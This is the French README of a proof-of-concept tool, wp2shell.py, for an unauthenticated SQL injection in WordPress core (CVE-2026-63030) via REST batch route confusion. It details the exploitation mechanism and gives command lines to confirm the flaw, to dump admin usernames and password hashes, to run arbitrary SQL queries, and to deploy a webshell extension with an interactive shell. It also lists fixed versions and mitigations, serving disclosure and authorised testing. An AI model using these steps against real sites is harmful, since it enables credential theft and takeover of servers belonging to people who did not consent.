
CVE-2026-63030
Preuve de concept pour une injection SQL non authentifiée dans le noyau WordPress qui enchaîne sur une exécution de code à distance, via une confusion de route batch REST (CVE-2026-63030).
L'exploit ne nécessite ni identifiants ni configuration au-delà d'une cible accessible. Il atteint l'injection via un seul point d'accès : POST /wp-json/batch/v1.
La découverte est une injection SQL non authentifiée — check la confirme et read démontre une lecture arbitraire de la base de données. La commande shell est post-exploitation optionnelle (identifiants admin récupérés → téléversement d'extension → exécution de commandes), incluse pour démontrer l'impact complet ; ce n'est pas la vulnérabilité.
| Branche | Affectée | Corrigée dans |
|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
Les versions antérieures à 6.9.0 ne sont pas affectées par cette chaîne.
Le point d'accès batch REST (/batch/v1) est non authentifié et exécute plusieurs sous-requêtes en un seul appel, en comptant sur le fait que chaque sous-requête soit validée et vérifiée en permissions individuellement.
serve_batch_request_v1() construit deux tableaux parallèles — $matches (le gestionnaire correspondant par sous-requête) et $validation (le résultat de validation par sous-requête) — puis indexe les deux par le même décalage lors de l'envoi. Une sous-requête dont le chemin échoue à wp_parse_url() est ajoutée à $validation mais pas à $matches, de sorte que les tableaux se désynchronisent et une sous-requête est envoyée sous un gestionnaire différent. C'est la confusion de route.
Le PoC imbrique la primitive deux fois :
POST /wp/v2/posts contenant un corps requests est envoyée sous le gestionnaire batch lui-même. Ayant été validée comme une requête sur les articles, sa liste requests n'est jamais vérifiée par rapport au schéma batch, donc ses sous-requêtes peuvent utiliser GET — la liste blanche des méthodes est contournée.GET /wp/v2/users portant une chaîne author_exclude (le schéma des utilisateurs n'a pas ce paramètre, donc la valeur passe la validation sans modification) est envoyée sous get_items() des articles. Là, author_exclude correspond à la variable de requête author__not_in de WP_Query, que la version vulnérable interpole dans le SQL sous forme de chaîne.Le résultat est une injection SQL aveugle basée sur le booléen et le temps, accessible avant authentification. Avec un accès en lecture à la base de données, le hash du mot de passe administrateur peut être récupéré ; une fois craqué, l'accès administrateur permet l'exécution de code via le téléversement d'une extension.
Python 3.8+ et la bibliothèque standard. Aucune dépendance tierce.
Exécutez-le depuis le répertoire du dépôt :
./wp2shell.py <commande> <url> [options]
Ou pip install . pour obtenir une commande wp2shell dans votre PATH.
Confirme l'exploitabilité avec un délai différentiel. Ne lit aucune donnée et ne modifie rien.
./wp2shell.py check http://cible
./wp2shell.py read http://cible # empreinte du serveur
./wp2shell.py read http://cible --preset users # identifiants et hash des mots de passe
./wp2shell.py read http://cible --query "SELECT @@version"
Post-exploitation optionnelle. Nécessite des identifiants administrateur valides ; l'injection récupère le hash du mot de passe, fournissez donc le texte clair récupéré ici.
./wp2shell.py shell http://cible --user admin --password '<motdepasserécupéré>' --cmd id
./wp2shell.py shell http://cible --user admin --password '<motdepasserécupéré>' -i # shell interactif
shell téléverse une extension webshell (protégée par un chemin aléatoire et un jeton par exécution) et affiche son chemin. Supprimez-la une fois terminé.
| Option | S'applique à | Description |
|---|---|---|
--rest-route | all | Utiliser /?rest_route=/batch/v1 (pour les sites sans permaliens jolis). |
--proxy URL | all | Router le trafic via un proxy HTTP (par exemple, Burp). |
--timeout N | all | Délai d'attente de la requête en secondes. |
--sleep N | check | Délai utilisé pour confirmer l'injection. |
--preset | read | fingerprint ou users. |
--query | read | Une expression SQL scalaire à lire. |
--prefix | read | Préfixe des tables de la base (défaut wp_). |
--max-length N | read | Nombre maximal de caractères lus par valeur (défaut 128). |
--user / --password | shell | Identifiants administrateur (texte clair, récupéré depuis le hash). |
--cmd | shell | Commande à exécuter (omettre lors de l'utilisation de -i). |
-i / --interactive | shell | Ouvrir un shell interactif après le déploiement. |
Mettez à jour WordPress vers 6.9.5 ou 7.0.2. En attendant, bloquez à la fois /wp-json/batch/v1 et le paramètre de requête rest_route=/batch/v1 en périphérie, ou exigez une authentification pour le point d'accès batch via le filtre rest_pre_dispatch.
Pour les tests de sécurité autorisés uniquement. Utilisez-le exclusivement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive.